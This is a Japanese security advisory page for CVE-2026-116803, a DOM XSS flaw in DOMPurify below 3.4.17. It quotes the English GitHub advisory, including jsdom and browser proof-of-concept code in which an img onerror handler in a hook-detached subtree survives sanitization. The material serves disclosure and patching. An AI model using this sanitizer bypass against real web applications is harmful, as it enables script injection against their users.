GUARD SAGAS

DOMPurifyにクロスサイトスクリプティング(XSS)の脆弱性(CVE-2026-116803)

公開日 更新日 危険度:中

概要

DOMPurifyにクロスサイトスクリプティング(XSS)の脆弱性が確認されました。

バージョン 3.4.17 未満に影響があります。

修正版 3.4.17 への更新が推奨されます。

脆弱性の基本情報

脆弱性ID CVE-2026-116803
GHSA-mrv2-3pqr-j5jr
脆弱性の種類クロスサイトスクリプティング(XSS) (CWE-79)
危険度中
CVSSスコア 6.1(CVSS v3.1) 評価元:CVE List(CVE Program)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
公開日2026年10月22日
更新日2026年10月27日

影響を受ける製品

製品影響を受けるバージョン修正版出典
DOMPurify
JavaScriptライブラリ
3.4.17 未満 3.4.17 OSV.dev

推奨対応

  • DOMPurifyを修正版 3.4.17 またはそれ以降の公式最新版へ更新してください。

情報元の原文

OSV.dev(GitHub Advisory Database) GHSA-mrv2-3pqr-j5jr

DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)

### Summary The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `<img onerror>` that was already loading fires after `sanitize()` returns. The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `<img onload>` that was already loading when you built the live tree cannot fire after `sanitize()` returns." That does not hold when the detached node is not the hook's own node. ### Tested versions - 3.4.16 (latest) and main at 18f8f0e - also 3.4.15, 3.4.12 and 2.5.8 jsdom for the matrix below, and Chromium (Playwright) for the event actually firing. ### Details `src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`: ```js if (currentNode === root || getParentNode(currentNode) !== null) { return false; } if (IN_PLACE) { _neutralizeSubtree(currentNode); } ``` It only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks. ### PoC (jsdom) ```js const { JSDOM } = require('jsdom') const createDOMPurify = require('dompurify') const win = new JSDOM('<!doctype html><body></body>').window const doc = win.document for (const mode of ['self', 'parent', 'nextSibling']) { const DOMPurify = createDOMPurify(win) doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' + '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>' const root = doc.getElementById('root') const evil = doc.getElementById('evil') // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling) DOMPurify.addHook('afterSanitizeAttributes', (node) => { if (node.getAttribute && node.getAttribute('class') === 'bad') { if (mode === 'self') node.remove() if (mode === 'parent') node.parentNode.remove() if (mode === 'nextSibling') node.nextElementSibling.remove() } }) DOMPurify.sanitize(root, { IN_PLACE: true }) console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror'))) } ``` Output on 3.4.16: ``` 3.4.16 self onerror = null 3.4.16 parent onerror = "alert(1)" 3.4.16 nextSibling onerror = "alert(1)" ``` In `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`. ### PoC (browser) The same thing in a real page, served from 127.0.0.1 and opened in Chromium: ```html <!doctype html><meta charset=utf-8> <script src="purify.min.js"></script> <body><pre id=log></pre> <script> window.fired = []; function run(mode) { const D = DOMPurify(window); D.addHook('afterSanitizeAttributes', n => { if (n.getAttribute && n.getAttribute('class') === 'bad') { if (mode === 'parent') n.parentNode.remove(); if (mode === 'self') n.remove(); } }); const root = document.createElement('div'); document.body.appendChild(root); root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>'; D.sanitize(root, { IN_PLACE: true }); return root.outerHTML; } const a = run('self'), b = run('parent'); setTimeout(() => { document.getElementById('log').textContent = 'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired); }, 1500); </script> ``` Result on 3.4.16: ``` version=3.4.16 self out=<div><figure><img src="x"></figure><p>ok</p></div> parent out=<div><p>ok</p></div> fired=["parent"] ``` The returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`. ### Impact An app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example "drop the whole `<figure>` if its image is not allowed") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p. ### Suggested fix Instead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options: - before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root` - or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)
利用条件:CC BY 4.0
出典: GitHub Advisory Database(OSV.dev 経由で取得)。原文のまま掲載(改変なし)
CVE List(CVE Program) CVE-2026-116803

DOMPurify before 3.4.17 DOM XSS via IN_PLACE Hook-Detached Subtrees

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutralized, so handlers like img onerror fire after sanitize() returns, causing DOM XSS.
利用条件:CVE の利用条件(CVE Terms of Use)・原文のまま掲載
Copyright 1999-2026 The MITRE Corporation
CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.

情報元

このページは各情報源から定期取得した情報を自動で掲載しています。日本語の表示は取得済みのデータ(製品・影響バージョン・修正版・CVSS 等)から定型文で作成しており、AIによる生成・翻訳は行っていません。取得できていない情報は表示していません。最新の情報は情報元でご確認ください。

あなたのサイトは大丈夫ですか?

GUARD SAGAS の無料診断で、CMS・サーバーのバージョンや既知の脆弱性への該当状況を確認できます。

無料診断をはじめる

← 脆弱性情報の一覧へ